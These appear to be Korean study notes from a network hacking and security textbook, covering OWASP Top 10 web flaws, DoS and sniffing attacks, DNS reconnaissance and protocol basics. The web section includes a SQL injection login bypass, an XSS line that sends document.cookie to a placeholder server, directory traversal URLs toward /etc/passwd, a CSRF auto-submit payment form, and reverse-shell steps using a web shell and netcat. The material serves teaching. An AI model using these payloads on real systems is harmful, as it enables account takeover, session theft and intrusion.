검색 엔진의 검색을 피하는 방법

- 구글 검색 엔진의 검색을 막는다. User-agent: googlebot

- 모든 검색 로봇의 검색을 막는다. User-agent: *

- dbconn.ini 파일을 검색하지 못하게 한다. Disallow: dbconn.ini

- admin 디렉토리에 접근하지 못하게 한다. Disallow: /admin

 

 웹의 주요 취약점

- 국제웹보안표준기구(OWASP)에서는 각 분야별 상위 열 가지 주요 취약점을 발표

- OWASP Top 10은 시기에 따라 항목별 취약점 구분이 달라지고 하나의 취약점이 두 가지 의미를 지닌 경우도 있음

 

 명령 삽입 취약점(A1. Injection)

- 클라이언트의 요청을 처리하기 위해 전송받는 인수에 특정 명령을 실행할 수 있는 코드가 포함되는 경우 특정 명령을 실행하는 코드를 적절히 필터링하지 못하면 삽입 공격에 대한 취약점이 발생

- 명령 삽입 공격은 SQL, OS, LDAP 등 웹으로 명령을 전달하는 모든 경우에 적용 가능

- 웹 서버에서 데이터베이스로 전송되는 SQL 쿼리에는 아이디, 패스워드, 검색어 등 여러 가지 인수가 사용됨

- SQL 삽입 공격은 이 인수에 추가 실행 코드를 넣는 것

- 웹에서 로그인할 때도 이와 유사한 SQL문이 삽입

SELECT * FROM "user"
WHERE e_mail_address = '입력된 아이디' AND password ='입력된 패스워드'

 

- 웹 소스에서 SQL을 처리하는 부분

exports.getLoginUserName = function(user_email, password, callback) {
var user_name;
var sql = "SELECT user_name, e_mail_address FROM user WHERE e_mail_address =
'" + user_email + "' AND password = '" + password + "' ";
db.each(sql, function(err, row) {
if (user_email = = row.e_mail_address) {
user_name = row.user_name;
callback (user_name);
}
},
function(err, rows) {
if (rows = = 0) {
user_name = "Login_Failed";
callback (user_name);
}
});
}

- SQL문에서 where로 입력되는 조건문을 항상 참으로 만들기 위해 조건 값에 ‘or’‘=’를 입력

- 위와 같은 쿼리문이 만들어지면 조건문인 WHERE문에서 password 부분은 or 조건으로 항상 만족되므로 공격자는 사용자 인증에 성공

패스워드: ' OR ''='

SELECT * FROM "user"
WGERE e_mail_address = 'wishfree@empas.com' and password = '' or ''=''

- SQL 삽입 공격은 웹에서 사용자의 입력 값을 받아 데이터베이스에 SQL문으로 데이터를 요청하는 모든 곳에 가능하고, 인증뿐만 아니라 다양한 형태의 SQL문을 실행할 수 있음

- 게시판, 우편번호 검색처럼 대량의 정보를 검색하는 부분에서 웹 서버와 데이터베이스 연동이 일어나므로 SQL 삽입 공격을 수행할 수 있음

 

 인증 및 세션 관리 취약점(A2. Broken Authentication and Session Management)

- 취약한 패스워드 설정

- 웹의 경우 사용자는 개발자가 처음 설정한 패스워드를 그대로 쓰는 경우가 많음

- 웹에서 admin/admin과 같이 취약한 패스워드를 자주 발견할 수 있음

 

 사용자 데이터를 이용한 인증

1 | 최초 인증 과정은 정상적인 아이디와 패스워드의 입력으로 시작

2 | 패스워드가 올바른 경우의 접속에 대해 인증을 한 뒤 인증 값으로 쿠키와 같은 세션 값을 넘겨줌

3 | 웹 서버가 새로운 페이지에 접근할 때 공격자가 2에서 수신한 인증 허용 값을 전달받으면서 해당 세션 이 유효한 인증인지 확인

4 | 공격자는 세션 인증 값은 그대로 사용하고 UserNo 값만 변경하여 다른 계정으로 로그인한 것처럼 웹 서비스를 이용할 수 있음

 

 XSS 취약점(A3. Cross-Site Scripting)

- XSS: 공격자가 작성한 스크립트가 다른 사용자에게 전달되는 것

- 다른 사용자의 웹 브라우저 안에서 적절한 검증 없이 실행되기 때문에 사용자의 세션을 탈취하거나 웹 사이트를 변조하고 악의적인 사이트로 이동할 수 있음

 

 XSS 공격의 구조

1 | 임의의 XSS 취약점이 존재하는 서버에 XSS 코드를 작성하여 저장

2 | 공격자가 작성해놓은 XSS 코드에 해당 웹 서비스 사용자가 접근

3 | 웹 서버는 사용자가 접근한 XSS 코드가 포함된 게시판의 글을 사용자에게 전달

4 | 사용자의 시스템에서 XSS 코드가 실행

5 | XSS 코드가 실행된 결과가 공격자에게 전달되고 공격자는 공격을 종료

 

 XSS 취약점(A3. Cross-Site Scripting)

- 게시판에 대한 XSS 공격의 취약성 여부는 XSS코드를 게시판에 입력해서 확인

- XSS 취약점을 확인하기 위한 경고 창을 띄우는 형태의 스크립트를 입력하면 현재 해당 문서를 읽는 사용자의 쿠키 값을 웹 서버로 전달하게 됨

<script>location.href="http://서버주소/XSS/GetCookie.asp?cookie="+document.cookie</script>

 

 취약한 접근 제어(A4. Broken Access Control)

- 인증된 사용자가 수행할 수 있는 것에 대한 제한을 제대로 적용하지 않은 것을 의미

이 취약점에 노출되면 일반 사용자나 로그인하지 않은 사용자가 관리자 페이지에 접근 하여 관리자 권한의 기능을 악용할 수 있음

- 인증 우회를 막으려면 웹의 중요 페이지에 세션 값(쿠키)을 확인하는 검증 로직을 입력해두어야 함

- 프로그램 개발시 표준 인증 로직을 만들어 웹에 존재하는 모든 페이지의 앞부분에 입력해야 함

 

디렉토리 탐색

- 웹 브라우저에서 확인 가능한 경로의 상위를 탐색하여 특정 시스템 파일을 다운로드하는 공격 방법

- 게시판 등에서 첨부 파일을 내려받을 때는 다음과 같이 백 엔드 서비스를 주로 사용

http://www.wishfree.com/board/download.jsp?filename=사업계획.hwp

- 정상적인 다운로드 페이지를 이용하여 다른 파일의 다운로드를 요청

http://www.wishfree.com/board/download.jsp?filename=../list.jsp

- 파일 시스템에서 .는 현재 디렉토리를 의미하고 ..는 상위 디렉토리를 의미

- 만약 공격자가 filename 변수에 ../list.jsp를 입력한다면 다운로드가 기본적으로 접근하는 /board /upload 디렉토리의 바로 상위 디렉토리에서 list.jsp를 다운로드하라는 의미 

- /board/admin 디렉토리에 있는 adminlogin.jsp를 다운로드

http://www.wishfree.com/board/download.jsp?filename=../admin/adminlogin.jsp

- download.jsp 파일 자신도 다음과 같이 입력하여 다운로드

http://www.wishfree.com/board/download.jsp?filename=../download.jsp

- 유닉스 시스템의 경우에는 /etc/passwd와 같이 사용자 계정과 관련된 중요한 파일의 다운로드를 시도할 수 있음

http://www.wishfree.com/board/download.jsp?filename=../../../../../../../etc.passwd

- etc/passwd 파일을 다운로드할 수 있다면 몇 번의 시행착오를 거쳐서 웹 소스가 있는 디렉토리에서 일곱 번째 상위 디렉토리가 루트 디렉토리임을 알 수 있음

 

보안 설정 오류(A5. Security Misconfiguration)

디렉토리 리스팅

- 웹 브라우저에서 웹 서버의 특정 디렉토리를 열면 그 디렉토리에 있는 파일과 목록이 모두 나열되는 것을 말함

- 상당수 디렉토리 리스팅은 관리자가 설정 사항을 인지하지 못했거나 웹 서버 자체의 취약점 때문에 발생

 

 백업 및 임시 파일 존재

- 웹 사이트 개발시 웹 서버 백업 파일이나 임시 파일을 삭제하지 않고 방치하면 공격자가 백업 파일을 통해 웹 애플리케이션 의 내부 로직, 데이터베이스 접속 정보 등 획득 가능

- 예) login.asp의 백업 파일인 login.asp.bak 파일

 

 미흡한 주석 관리

- 웹 애플리케이션에서 웹 프록시를 이용하면 일반 사용자도 볼 수 있는 주석에는 웹 애플리케이션 개발 과정, 주요 로직에 대한 설명, 디렉토리 구조, 테스트 소스 정보, 아이디와 패스워드 등이 기록됨

- 웹 애플리케이션 개발시 주석에 정보를 기록할 때는 주의해야 함

 

 파일 업로드 제한 부재

- 공격자가 웹 서버에 악의적인 파일을 전송한 뒤 원격지에서 실행하면 웹 서버 장악, 내부 침투 공격 수행 가능

- 웹 해킹의 최종 목표인 웹 서버 통제권을 얻기 위해 반드시 성공해야 하는 공격

 

• 리버스 텔넷

- 웹 해킹으로 시스템 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 셸을 획득하기 위한 방법으로, 방화벽이 있는 시스템을 공격할 때 자주 사용

- 심화된 공격을 하려면 텔넷과 유사한 접근 권한을 획득하는 것이 매우 중요한데, 이때 리버스 텔넷이 유용

외부의 접근이 차단된 텔넷 접속

- 공격자의 PC에 텔넷 서비스가 열려있고 방화벽의 아웃바운드 정책이 열려 있다면 웹 서버에서 공격자의 텔넷으로 접속 가능

내부에서 외부로 향한 접속이 허용된 텔넷 접속

- 웹 서버에서 권한을 획득하면 웹서버에서 공격자의 PC로 텔넷 연결을 허용하는 상황을 공격자가 이용할 수 있음

1 | 명령 창 획득: 파일 업로드 등으로 웹 브라우저에서 실행 가능한 웹 셸을 웹 서버에 업로드

공격자가 명령을 입력할 수 있는 명령 창 획득함

2 | 리버스 텔넷용 툴 업로드: 서버 게시판의 파일 업로드 기능을 이용하여 nc(net cat)와 같은 리버스 텔넷용 툴 업로드

3 | 공격자 PC의 리버스 텔넷 데몬 활성화: 서버에서 리버스 텔넷을 보내면 이를 받아 텔넷을 열 수 있도록 준비

4 | 획득한 명령 창으로 공격자에게 리버스 텔넷을 보내면 리버스 텔넷 창 획득

 

 민감한 데이터 노출(A6. Sensitive Data Exposure)

- 웹 사이트 해킹으로 개인 정보가 유출되는 것은 신용카드 번호, 주민등록번호, 인증 신뢰 정보와 같은 민감한 데이터를 보호하지 않는 것이 주요한 원인

- 민감한 데이터를 보호하려면 데이터 중요도에 따라 암호화 로직을 사용하고 데이터베이스 테이블 단위에서 암호화를 수행해야 함

 

 공격 방어 취약점(A7. Insufficient Attack Protection)

- 예전 웹 애플리케이션은 해킹 공격을 탐지, 방지, 대응할 수 있는 기능을 갖추고 있지 않았음

- APT 공격이 일반화되면서 보안 솔루션으로 탐지가 어렵자 웹 애플리케이션 수준에서 자동으로 탐지, 로깅, 응답 및 공격 시도 차단을 포함하도록 권고

 

 CSRF 취약점(A8. Cross-Site Request Forgery)

- 특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등) 를 하게 만드는 공격

- 기본적으로 XSS 공격과 매우 유사하며, XSS 공격의 발전된 형태로 보기도 함

- XSS 공격은 악성 스크립트가 클라이언트에서 실행되는 데 반해 CSRF 공격을 하면 사용자가 악성 스크립트를 서버에 요청

CSRF 공격의 구조

 

- CSRF 공격 예시

wishfree라는 계정이 주문한 물품에 대해 10,000원을 결제하라는 내용

<body onload = "document.csrf.submin()“>
<form name="csrf" action="http://www.shop.c o.k r/malladmin/order/order.jsp" method="POST“>
input type="hidden" name="uid" value="wishfree“
input type="hidden" name="mode" value="pay_for_order
input type="hiddne" name="amount" value="10000“
</form>

 

 취약점이 있는 컴포넌트 사용(A9. Using Components with Known Vulnerabilities)

- 컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈이 다양하게 사용되면서 보안에 취약한 컴포넌트가 악용되면 심각한 데이터 손실, 서버 장악이 가능해짐

- 사용하려는 컴포넌트, 라이브러리의 보안 취약점을 충분히 검토해야 함

 

 취약한 API(A10. Underprotected APIs)

- API를 통해 웹 서비스 상호 간의 연동이 이루어지므로 API 사용시 보안에 취약하지 않은지 충분한 검토가 필요

 

 

웹의 취약점 보완

• 특수 문자 필터링

- 웹 해킹의 가장 기본적인 형태 중 하나는 인수 조작으로 예외적인 실행을 유발하기 위해 특수문자를 포함

특수 문자 관련된 공격 특수 문자 관련된 공격
< XSS 취약점 공격 = SQL 삽입 공격
> XSS 취약점 공격 ; SQL 삽입 공격
& XSS 취약점 공격 * SQL 삽입 공격
" XSS 취약점 공격 . SQL 삽입 공격
? XSS 취약점 공격 .. SQL 삽입 공격
' XSS 취약점 공격, SQL 삽입 공격 -- SQL 삽입 공격
/ XSS 취약점 공격, 디렉토리 탐색 공격    

 

- 본문에 포함되는 주요 특수 문자를 함수를 이용하여 제거함으로써 XSS 취약점 공격을 방어 할 수 있음

function RemoveBad(InStr){
InStr = InStr.replace(/\</g,"");
InStr = InStr.replace(/\>/g,"");
InStr = InStr.replace(/\&/g,"");
InStr = InStr.replace(/\"/g,"");
InStr = InStr.replace(/\?/g,"");
InStr = InStr.replace(/\'/g,"");
InStr = InStr.replace(/\//g,"");
return InStr;
}

 

• 서버 통제 작용

- CSS 기반의 언어로 필터링하는 경우에는 공격자가 로직만 파악하면 필터링이 쉽게 무력화되므로 ASP, JSP 등 과 같은 SSS로 필터링 로직을 수행해야 함

사용자의 입력을 필터링하여 SQL 삽입 공격에 실패한 경우

 

 지속적인 세션 관리

- 모든 웹 페이지에 일관성 있는 인증 로직을 적용하려면 기업 또는 웹 사이트 단위에서 세션 인증 로직을 표준화 하고, 표준을 준수하여 웹 페이지를 개발하도록 해야 함

'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


서비스 거부 공격(DOS)

• 취약점 공격형

봉크: 패킷을 같은 순서 번호를 전달하는 공격

보잉크: 수신측을 속이기 위해 정상 패킷을 보내고 같은 순서 번호를 보내는 것 반복

티어드롭: 순서 번호를 조작하여 데이터 부분이 겹치거나 빠진 상태로 패킷을 전송하여 공격

해결 방안: 패치관리를 통해 과부하가 걸리거나 계속 반복되는 패킷을 무시하고 버리도록 처리

 

• 자원 고갈형 공격

랜드 공격: 패킷을 전송할 때 출발지 IP와 목적지 IP주소의 값을 똑같이 만들어서 보내는 공격
해결 방안: 운영체제의 패치 관리를 통해 마련

 

죽음의 핑 공격: ping 명령을 보낼 때 공격 대상에게 패킷을 최대한 길게 보내 패킷을 쪼개 공격
해결 방안: ping이 내부 네트워크에 들어오지 못하도록 방화벽에서 ICMP를 차단

 

SYN 플러딩 공격: 네트워크에서 서비스를 제공하는 시스템에는 동시 사용자 수 제한이 있는데 이를 이용한 공격
해결 방안: SYN Received의 대기 시간 줄이기, 보안 시스템(침입 방지 시스템)을 이용하여 차단

 

HTTP GET 플러딩 공격: TCP 3-웨이 핸드셰이킹 과정으로 정상 접속한 뒤 HTTP GET메소드로 특정 페이지를 무한대로 실행하는 공격

해결 방안: 임계치를 설정하고 비정상적 트래픽을 유발시키는 IP를 차단

 

HTTP CC 공격: 자주 접속하거나 변경되는 데이터들은 자신 PC의 캐시에 저장되는데 이 기능을 사용하지 않고 웹서버에 계속 요청하여 공격

 

동적 HTTP 리퀘스트 플러딩 공격: 특징적인 HTTP 요청 패턴을 확인해 방어하는 차단 기법을 우회하기 위한 공격

 

슬로 HTTP 헤더 DoA(슬로로리스) 공격: 웹 서버가 헤더 정보를 완전히 수신할 때까지 연결을 유지하도록 하는 공격

 

슬로 HTTP POST 공격: 웹 서버와의 커넥션을 최대한 오래 유지하여 웹 서버가 정상적인 사용자의 접속을 받아들일 수 없게 공격

 

스머스 공격: ICMP 패킷과 네트워크에 존재하는 임의의 시스템을 이용하여 패킷을 확장함으로써 서비스 거부 공격을 수행(공격자가 공격 대상을 정해 공격 대상이 공격자가 되는 공격)
해결방안: 라우터에서 다이렉트 브로드캐스트를 막아서 대응

 

메일 폭탄 공격: 스팸 메일과 같은 종류

 

• 분산 서비스 거부 공격(DDoS)

공격자 -> 마스터(핸들러 프로그램) -> 에이전트(데몬 프로그램)

 

• 스니핑 공격

스위치 재밍 공격(MACOF 공격): MAC 주소 테이블을 기반으로 패킷을 포트에 스위칭할 때 정상적인 스위칭 기능을 마비시키는 공격(랜덤 형태로 생성한 MAC 주소를 가진 패킷을 스위치에 무한대로 보내 MAC 테이블의 저장 용량을 초과 시킴)

SPAN 포트 태핑 공격: 스위치의 포트 미러링 기능 이용

 

• 스니핑 공격의 탐지

ping을 이용한 스니퍼 탐지: 공격자에게 존재 하지 않는 MAC주소를 위장하여 ping을 보내 탐지
ARP를 이용한 스니퍼 탐지: 위조된 ARP Request를 보냈을 때, ARP Response가 오는 것을 확인하여 탐지
DNS를 이용한 스니퍼 탐지: 대상 네트워크로 ping sweep를 보내고 들어오는 Reverse-DNS lookup을 감시하면 스니퍼 탐지
유인을 이용한 스니퍼 탐지: 보안 관리자는 이 점 을 이용하여 가짜 아이디와 패스워드를 네트워크에 뿌려 공격자가 이 아이디와 패스워드로 접속을 시도할 때 스니퍼를 탐지
ARP watch를 이용한 스니퍼 탐지: MAC 주소와 IP 주소의 매칭 값을 초기에 저장하고 ARP 트래픽을 모니터링 하여 이를 변하게 하는패킷이 탐지되면 관리자에게 메일로 알려주는 툴

 

• 스푸핑 공격

ARP 스푸핑: MAC 주소를 속이는 것
IP 스푸핑 공격: 쉽게 말해 IP 주소를 속이는 것으로, 다른 사용자의 IP를 강탈하여 어떤 권한을 획득
DNS 스푸핑 공격: 실제 DNS 서버보다 빨리 공격 대상에게 DNS response 패킷을 보내어 공격 대상이 잘못된 IP 주소로 웹 접속을 하도록 유도하는 공격
DNS 스푸핑 공격 대응책: 먼저 시스템 메모리의 정보(캐시)를 확인하고 그 다음 hosts 파일에 등록된 정보를 확인

 

• 세션 하이재킹 공격

TCP 세션 하이재킹: 공격자가 원하는 접속만 공격 대상이 생성하면 네트워크 공격으로 세션을 빼앗을 수 있음

 

• 무선 네트워크 공격 보안

AP 보안: 물리적인 보안 및 관리자 패스워드 변경, SSID 브로드캐스팅 금지
무선 랜 통신의 암호화: WEP, WPA-PSK, EAP 802.1x 암호화, 802.1x/EAP RADIUS 서버를 이용한 무선 랜 사용자 인증

'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


• Whois(후이즈)

- 1984년에 만들어진 도메인 확인, 도메인과 관련된 사람 및 인터넷 자원을 찾아보기 위한 프로토콜

 

• Whois  서버로 얻을 수 있는 정보

- 도메인 등록 및 관련 기관 정보

- 도메인 이름과 관련된 인터넷 자원 정보

- 목표 사이트의 네트워크 주소와 IP 주소

- 등록자, 관리자, 기술 관리자의 이름, 연락처, 이메일 계정

- 레코드의 생성 시기와 갱신 시기

- DNS 서버와 보조 DNS 서버

- IvP 주소의 할당 지역 위치

 

• Whois 한국 서버

- 후이즈.한국 or whois.kisa.or.kr 사이트 접속

 

• Hosts 파일

- DNS(Domain Name System)이 만들어지기 전에 PChosts 파일에 도메인 대신 별명과 같은 원하는 명칭을 IP주소와 매칭시켜 인터넷을 사용

- 윈도우 계열 시스템은 C: (윈도우 운영체제 설치 디렉토리)\ system32\drivers\etc\hosts, 리눅스는 /etc/hosts가 이에 해당

- DNS 서버가 작동하지 않을 때, 별도의 네트워크를 구성하여 임의로 사용할 때, 다른 IP 주소를 가진 여러 대의 서버가 같은 도메인으로 클러스터링(Clustering)되어 운영되는 상태에서 특 정 서버에 접속하고자 할 때 유용

 

• DNS

-숫자로 구성된 네트워크 주소인 IP 주소를 사람이 이해하기 쉬운 명칭인 도메인 이름으로 상호 매칭시켜주는 시스템

 

• DNS의 계층 구조

- 가장 상위 개체는 ‘.’ (Root)

- 두 번째 개체는 국가와 조직체의 특성

- 보통 맨 앞은 자신의 DNS 서버에서 지정해 놓은 www, ftp와 같은 특정 서버의 이름이 옴

- FQDN(Fully Qualified Domain Name) : 완성된 주소(예 : www.wishfree.co.kr)

항목 내용 항목 내용
com 영리 기관 mil 군사 기관
net 네트워크 기관 edu 교육 기관
org 비영리 기관 int 국제 기관
gov 정부 기관 kr(Korea) 국가 이름
DNS의 계층 구조

 

• DNS 서버의 이름 해석 순서

DNS 서버의 이름 해석 순서

www.wishfree.com 에 접속하기 위한 순서

1 | 캐시에 해당 사이트 정보를 확인

2 | 캐시에 IP주소가 없을 경우에 hosts를 확인

3 | 없으면 설정된 DNS 서버인 로컬 DNS 서버에 질의

4 | 로컬 DNS에 없으면 루트 DNS에 질의

5 | com DNS 서버에 질의

6 | com DNS에도 없다면, wishfree.com DNS 서버에 질의

7 | www.wishfree.com에 대한 IP 주소를 얻음 8 | 로컬 DNS 서버는 이를 클라이언트에 전달 

 

• 시스템에 캐시된 DNS 정보 확인 명령어

- Ipconfig /displaydns

 

• 시스템에 캐시된 DNS 정보 삭제 명령어

- Ipconfig /flushdns

 

• DNS 서버 구분

- 주 DNS 서버: 도메인의 중심 DNS 서버

- 부 DNS 서버: 주 DNS 서버의 백업 서버

- 캐시 DNS 서버: 위 두 DNS 서버 접속 불가에 대비한 임시 DNS 서버

 

• hosts를 이용한 정보 습득

- hosts 파일에는 여러 시스템에 대한 IP주소와 URL이 있음

- 사용자가 이를 이용하여 시스템에 접근하는데 도움을 주는 만 큼 해커가 hosts 파일을 얻는다면 시스템에 접근하기 쉬워지 므로 보안상 큰 문제 발생

 

• DNS를 이용한 정보 습득

- hosts 파일처럼 DNS에는 zone-transfer가 있음

- Zone은 주 DNS 서버에서 관리하는 도메인 영역

- 부 DNS 서버는 주 DNS 서버로부터 영역에 대한 정보를 전송 받아 도메인 정보를 유지

- 이 때, zone 전송 대상이 부 DNS 서버로 제한되지 않을 경우 문제 발생

 

• DNS 서버 검색으로 정보 습득하기

- 도메인 정보 수집하기

권한 없는 응답: 캐시된 사이트 정보임을 뜻함

 

- 이 DNS에 어떤 서버의 종류가 있는지 검색할 때에는 ‘set type’ 명령을 이용

 

• DNS 레코드 종류

종류 내용
A (Address)  호스트 이름 하나에 IP 주소가 여러 개 있을 수 있고 IP 주소 하나에 호스트 이름이 여러개 있을 수도 있다. 이를 정의하는 레코드 유형이 A이며, 다음과 같이 정의한다.
 - www        A        200.200.200.20
 - ftp            A        200.200.200.20
PTR (Pointer) A 레코드와 상반된 개념이다. A 레코드는 도메인에 대해 IP 주소를부여 하지만 PTR 레코드는 IP 주소에 대해 도메인명을 맵핑한다.
NS (Name Server) DNS 서버를 가리키며, 각 도메인에 적어도 한 개 이상 있어야 한다.
MX (Mail Exchanger) 도메인 이름으로 보낸 메일을 받는 호스트 목록을 지정한다.
CNAME (Canonical Name) 호스트의 다른 이름을 정의하는 데 사용한다.
SOA (Start of Authority) 도메인에 대한 권한이 있는 서버를 표시한다.
HINFO (Hardware Info) 해당 호스트의 하드웨어 사양을 표시한다.
ANY (ALL) DNS 레코드를 모두 표시한다.

'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


프로토콜(Protocol): 컴퓨터와 컴퓨터 사이에서 메시지를 전달하는 과정

 

프로토콜의 3가지 요소

• 구문(Syntax): 데이터의 구조나 포맷을 의미

• 의미(Semantics): 전송되는 데이터의 각 부분이 무엇을 뜻하는지 를 알 수 있게 미리 정해 둔 규칙(데이터 자체 뿐만 아니라 오류 제어, 동기 제어, 흐름 제어를 포함)

• 순서(Timing): 어떤 데이터를 보낼 것인지와 얼마나 빠르게 데이 터를 보낼 것인지 정의

 

프로토콜의 기능 

• 주소 설정(Addressing): 서로 다른 시스템의 두 개체가 통신을 하는 경우 필요

• 순서 제어(Sequence Control): 프로토콜 데이터 단위를 전송할 때 보내는 순서를 명시하는 기능(연결 지향형(Connection-Oriented)에만 사용) 

• 데이터 분할과 재조합(Fragmentation & Reassembly): 대용량 파일을 전송할 때 전송 효율이 높은 작은 단위로 나누어 전송한 뒤 전송 받은 시스템에서 이를 재조합해야 함

• 캡슐화(Encapsulation): 데이터에 제어 정보를 덧붙이는 것(헤더)

• 연결제어(Connection Control): 연결 설정, 데이터 전송, 연결 해제에 대한 통제 수행

• 흐름 제어(Flow Control): 송신 측에서 오는 데이터의 양이나 속도를 조절하는 기능, 송신자와 수신자의 속도 차이에 대한 대응

• 오류 제어(Error Control): 두 개체 사이에서 데이터를 교환할 때 데이터에 오류나 변경이 있을 경우를 발견하는 기능

• 동기화(Synchronization): 두 개체 데이터를 교환할 때 서로 동시에 똑같이 정의된 인자 값 을 공유하는 것 정보를 송수신 할 때에 호흡을 맞추는 기능

• 다중화(Multiplexing): 통신 선로 하나에서 여러 데이터나 시스템을 동시에 통신할 수 있는 기법

• 전송 서비스(Quality of Service, QoS): 우선 순위 결정, 서비스 등급과 보안 요구 등을 제어하는 서비스

 

OSI 7 계층

사용자 기반 계층 응용 계층(Application Layer) 사용자 인터페이스 제공. 요구에 따른 정보처리
표현 계층(Presentation Layer) 전달되는 정보를 데이터로 표현, 암호화, 압축
세션 계층(Session Layer) 통신 시작, 유지/관리, 종료
트랜스포트 계층 전송 계층(Transport Layer) 종단간(응용 프로세스 간) 신뢰성 있는 메시지 전송(에러제어, 흐름제어, 혼잡제어)
네트워크 기반 계층 네트워크 계층(Network Layer) Datagram을 발신지(노드)에서 목적지(노드)까지 전달(라우팅)
데이터링크 계층(DataLink Layer) 노드간(물리적으로 연결된) 신뢰성 있는 전송 제공(에러제어, 흐름제어, 혼잡제어)
물리 계층(Physical Layer) 물리매체로 비트를 신호로 변경하여 전송(부호화, 기계적, 전기적 특성 제공)

 

OSI 7 계층과 TCP/IP 

OSI 7계층 TCP/IP
응용 계층(Application Layer) 응용 계층(Application Layer)
표현 계층(Presentation Layer)
세션 계층(Session Layer)
전송 계층(Transport Layer) 전송 계층(Transport Layer)
네트워크 계층(Network Layer) 인터넷 계층(Internet Layer)
데이터링크 계층(DataLink Layer) 네트워크 접근 계층 (Network Access Layer)
물리 계층(Physical Layer)
프로토콜이 아니라 시스템 아키텍처를 이해하고 설계하는 데 사용되는 참조 모델 인터넷을 포함한 모든 네트워크에 사용되는 표준 프로토콜

 

 

물리 계층 장비 리피터(Repeater): 네트워크를 연장하기 위한 장비
허브(Hub): 모든 곳에 똑같이 복사해서 전송
데이터 링크(MAC) 계층 장비 MAC 주소: 총 12개의 16진수로 구성
이더넷: IEEE 802.3이 표준, 이더넷 패킷의 최소 길이는 64 Bytes, 최대 길이는 1,518 Bytes
브리지(Bridge): 랜과 랜을 연결하는 초기의 네트워크 장치, 프레임이 들어오면 목적지 MAC주소를 확인하여 들어온 인터페이스에 있을 경우 다른 인터페이스로 가는 패킷을 막고, 다른 인터페이스에 있을 경우 전달
스위치(Switch): 컷스루(Cut-Through) 방식, 저장 후 전송 방식(Store & Forward), 인텔리전트 스위칭 방식(Intelligent Switching)
반이중(Half-Duplex) 방식: 양방향 통신 기능을 제공하지만 한 번에 하나의 동작만 가능
전이숭 방식(Full-Duplex) 방식: 송신 포트와 수신 포트를 분리해 반이중 방식보다 성능이 두 배로 뛰어나며, 충돌이 없어서 전송 거리의 제한을 연장할 수 있음

 

IP 패킷의 구조
VER (4 bits) HLEN (4 bits) Service type (8 bits) Total length (16 bits)
Identification (16 bits) Flags (3 bit) Fragmentation offset (13 bits)
Time-to-live (8 bits) Protocol (8 bits) Header checksum (16 bits)
Source IP address (32 bits)
Destination IP address (32 bits)
Options + padding (0 to 40 bytes)

 

• VER: IP의 버전 정보, 0x4일 경우 IPv4를 의미

• HLEN: IP헤더의 길이로 이 필드 값에 4를 곱한 값이 실제 헤더의 바이트 길이

• Service type: 데이터그램을 어떻게 처리할지를 정의하는 서비스의 유형(최소 지연(Delay), 최대 처리율(MTU), 최대 신뢰성(Reliability), 최소 비용 설정(Cost)), 기본 값은 0

• Total length: 헤더를 포함한 데이터그램의 전체 길이를 의미

• Identification: 데이터그램이 단편화(Fragmentation)될 때 모든 단편에 이 값이 복사되고, 단편화 된 데이터그램이 생성될 때마다 1씩 증가

• Flag: 단편화 여부와 단편화된 조각이 첫 번째 조각인지, 중간 혹은 마지막 조각인지를 알려준다.

- RF(Reserved Fragment): 아직 사용하지 않으므로 항상 0

- DF(Don`t Fragment): 1이면 단편화되지 않았음을, 0이면 단편화되었음을 의미한다.

- MF(More Fragment): 0이면 마지막 단편이거나 유일한 단편이고, 1이면 마지막 단편이 아님을 의미한다.

• TTL(Time-to-live): 라우팅 과정에서 라우터를 몇 개 이상 통과하면 해당 패킷을 버릴지를 결정

• Protocol: IP계층의 서비스를 사용하는 상위 계층 프로토콜을 정의(1: ICMP, 2: IGMP, 6: TCP. 17: UDP)

• Header checksum: 패킷 전달 중 발생할 수 있는 오류 검사를 위해 사용하는 것으로, 송신측에서 체크섬을 계산하여 전송

• Source IP address: 송신측 IP 주소

• Destination IP address: 수신측 IP 주소

• Options + padding: 해당 패킷에 대한 옵션 사항, 옵션 내용이 입력될 경우 그 값이 32배수로 데이터가 마무리되도록 0으로 채운다.

 

네트워크 계층 프로토콜

• ARP(Address Resolution Protocol): 데이터를 전달하려는 IP 주소와 통신에 필요한 물리적인 주소(MAC) 를 알아내는 프로토콜, 선택된 매체에 브로드캐스트(Broadcast)를 통해 특정 IP 주소를 사용 하는 호스트가 응답을 하도록 요구하는 방식을 사용

 

• RARP(Reverse Address Resolution Protocol): 디스크가 없는 호스트가 자신의 IP 주소를 서버로부터 확인하는 프로토콜

 

• ICMP(Internet Control Message Protocol): 호스트 서버와 인터넷 게이트웨이 사이에서 메시지를 제어하고 오류 를 알려주는 프로토콜

- ICMP Echo Request 메시지: 송신측 전송 패킷이 목적지 노드나 라우터에 도착했는지를 확인하는 데 사용

- ICMP Destination Unreachable 메시지: 라우터가 송신측 패킷을 목적지에 보내지 못할 경우 보내는 메시지, 목적지까지 전송되지 못한 이유를 나타내는 정보가 포함

- ICMP Redirect 메시지: 라우터가 송신측 노드에 적합하지 않은 경로로 설정되어 있을 경우 해당 노드에 대한 최적화된 경로를 다시 지정해주는 메시지

- ICMP Time Exceeded 메시지: 패킷이 네트워크 사이에서 무한 루프로 돌지 않게 패킷을 처리할 때 마다 TTL(Time to Live)을 감소시키다가 값이 ‘0’이 되면 보내는 메시지

- ICMP Source Quench 메시지: IP 라우터의 WAN 쪽에 집중이 발생하여 송신 불능 상태가 되면 보내 는 메시지, 송신측은 이 메시지의 정보를 해석하여 송신 패킷의 양을 제어

 

• IGMP(Internet Group Management Protocol): 멀티캐스트에 관여하는 프로토콜로 멀티캐스트 그룹을 관리하는 역할

유니캐스트(Unicast): 한 호스트에서 다른 호스트로 전송하는 것

브로드캐스트(Broadcast): 호스트에서 IP 네트워크에 있는 전체 호스트로 데이터를 전송하는 것

멀티캐스트(Multicast): 송신하는 하나의 호스트에 특정한 호스트를 묶어서 전송하는 것

 

네트워크 계층 장비

라우터

- 네트워크의 대표적인 장비로, 게이트웨이(Gateway)라고도 함

- 게이트웨이는 원래 서로 다른 프로토콜을 사용하는 네트워크를 연결 해주는 장비

